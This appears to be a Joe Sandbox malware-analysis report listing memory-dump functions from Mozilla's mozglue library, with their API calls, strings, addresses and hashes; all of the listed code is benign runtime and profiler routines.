Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction ID: 88f185f8297259e946eca080387f95dafdc61af260dd92aeeb9b440f48701064
Opcode Fuzzy Hash: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction Fuzzy Hash: 6BF0C271E14746ABD7008F21C888676B778FFFA259F21431AF90543601E7B0A5D08BD0

Function 6C9C1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9C1800

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9C18C7
name, xrefs: 6C9C1939
Details, xrefs: 6C9C1925

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction ID: 791a978e082b28edaee63a6c353ca2e27af3217898c13102eb9902183ba7a4c9
Opcode Fuzzy Hash: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction Fuzzy Hash: 4971F370A047469FDB04CF28D4907AABBB1FFAA314F14466DD8154BB41DB70E698CBE2

Function 6C9CB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?,?,6C9CAB1F), ref: 6C9CB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?), ref: 6C9CB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010), ref: 6C9CB25F

Strings

map/set<T> too long, xrefs: 6C9CB1FA

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction ID: 85520918705c6aea235ba21366db60746784f812a42322285f549ca47e56eb68
Opcode Fuzzy Hash: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction Fuzzy Hash: BB6199347042459FD701CF19C880A9ABBF5FF5A328F28C5A9D8599BB52C331ED45CBA2

Function 6C98D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751

Strings

MOZ_CRASH(), xrefs: 6C98D4BB

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction ID: 3811356ab819f1b3ffe9f2adc51f634ba9d3de3500a3231ddf272999c0292da3
Opcode Fuzzy Hash: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction Fuzzy Hash: 4851E172A097068FD764CF28C49061AB7E5EFAE704F24892FD59AC7B84D770E800CB91

Function 6C9B4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Strings

profiler-paused, xrefs: 6C9B46E4
-%llu, xrefs: 6C9B4733
., xrefs: 6C9B476A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction ID: 13707dcf7659a4c0fed262672df32682d45a98fdb29045fd23dc09edd5f88b24
Opcode Fuzzy Hash: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction Fuzzy Hash: 1C414872A08708ABCB08DF78D85116FB7E5EF95744F14862DE85567B81EB30D844CB91

Function 6C9D9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9D985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9D987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9D98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9D98D9

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction ID: 1dafb3f66ae6d314c8fb4f216a0e2256e7fac932ac9025a3793d71e07b950014
Opcode Fuzzy Hash: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction Fuzzy Hash: 33313A71A002089FDB14AF58DC105EE77B9DF69718F10846DEA0AABB40CB31E904CBD1

Function 6C9B46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Part of subcall function 6C964410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C9A3EBD,00000017,?,00000000,?,6C9A3EBD,?,?,6C9642D2), ref: 6C964444

Strings

profiler-paused, xrefs: 6C9B46E4
-%llu, xrefs: 6C9B4733
., xrefs: 6C9B476A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction ID: 80762cc74343dcdfa33afdafba417fd7c612970d9ab57930f06ffdbfbf993f13
Opcode Fuzzy Hash: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction Fuzzy Hash: 8C313971F043086BCB08CF6DD8916AEBBE6DB99714F15853EE805ABB41EB74D804CB90

Function 6C9BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9BB127), ref: 6C9BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9BB4E4

Strings

pid:, xrefs: 6C9BB4DE

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction ID: 19db4a872ff07b1402e37ccabb8dec66e602556d17b7e1336408d050cbfbac8d
Opcode Fuzzy Hash: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction Fuzzy Hash: 0D310031A01208EBDB10DFA9D880AEFF7BABF19318F540529D90577A81D771E849CBA1

Function 6C9AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AE577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE584
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9AE826, 6C9AE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9AE777
MOZ_PROFILER_STARTUP, xrefs: 6C9AE5A1, 6C9AE5CC, 6C9AE5FF, 6C9AE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9AE722, 6C9AE750, 6C9AE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9AE655

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction ID: 78658f2fab0ebc1ad77a058b98bde6b9157aa1217c24c5627b7282b1783d0f4e
Opcode Fuzzy Hash: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction Fuzzy Hash: 1C117931A08358DFCB419F58D849B6ABBB8FFDD328F210A1AE84547A50E770E905CB95

Function 6C9B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0CD5

Part of subcall function 6C99F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0D40
free.MOZGLUE ref: 6C9B0DCB

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

free.MOZGLUE ref: 6C9B0DDD
free.MOZGLUE ref: 6C9B0DF2

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction ID: 8b983bc99712cfc5140259470240842a5327803dd420c5100f7f6785ce15d0c3
Opcode Fuzzy Hash: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction Fuzzy Hash: 764123B1908784ABD320CF29C18039EFBE5BFD8614F119A2EE8D897750D770E444CB92

Function 6C9A0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9A084C
EnterCriticalSection.KERNEL32(?), ref: 6C9A08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9A08BD
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A08D5

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction ID: a813f7b15e1dcc3b9e544009029705fa8cd7c0232341bc12f2e24d0d48c589f0
Opcode Fuzzy Hash: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction Fuzzy Hash: 7E21C831B052499BEF44CFA9D844BBE7379FF59708F600568D50AA7A41DF32E8058BD4

Function 6C9BCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDA4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD158
Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDC4

Part of subcall function 6C9B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9C15FC,?,?,?,?,6C9C15FC,?), ref: 6C9B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCECC

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

Part of subcall function 6C9ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9BCEEA,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000), ref: 6C9ACB57
Part of subcall function 6C9ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C9ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9BCEEA,?,?), ref: 6C9ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD058

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction ID: 31068285d1fd8b870da35445bbf181121e32ac465c003c5278f603cd2707d883
Opcode Fuzzy Hash: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction Fuzzy Hash: 05D16071A04B069FD708CF28C4807AAF7E1BF99308F11866DD85997751EB31E965CB81

Function 6C971720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9717B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9718EE
free.MOZGLUE(?), ref: 6C971911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97194C

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction ID: 0c86f08b6a7ee8f3111056b613edbc703d83cce0602e80c73182d795dd26bc6a
Opcode Fuzzy Hash: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction Fuzzy Hash: 9481DF70A162059FDB18CF68D8A49FEBBB1FF8A310F04456CE809AB754D730E945CBA1

Function 6C985C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C985D40
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67
__aulldiv.LIBCMT ref: 6C985DB4
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction ID: 3fe2f7f774e6951fc7d19af14216d5c8cc421bf6f0cee3203adabe93b306b5f8
Opcode Fuzzy Hash: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction Fuzzy Hash: 56516172E051598FDF08CF68C854ABEBBB1FF99708F298A1ED811A7751C730A945CB90

Function 6C96CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C96CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C96CF4E

Strings

0, xrefs: 6C96CF30

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction ID: b66e5c6bad13fad089c54b9c3c27704874458323592a063f4434caad039d07f0
Opcode Fuzzy Hash: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction Fuzzy Hash: 6B512371A042568FCB01CF19C490A9AFBB5EF99300F19859DE8595F791D331ED06CBE0

Function 6C9C77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9C7829

Part of subcall function 6C99CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9631A7), ref: 6C99CC45
Part of subcall function 6C99CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9631A7), ref: 6C99CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9C789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9C78CF

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

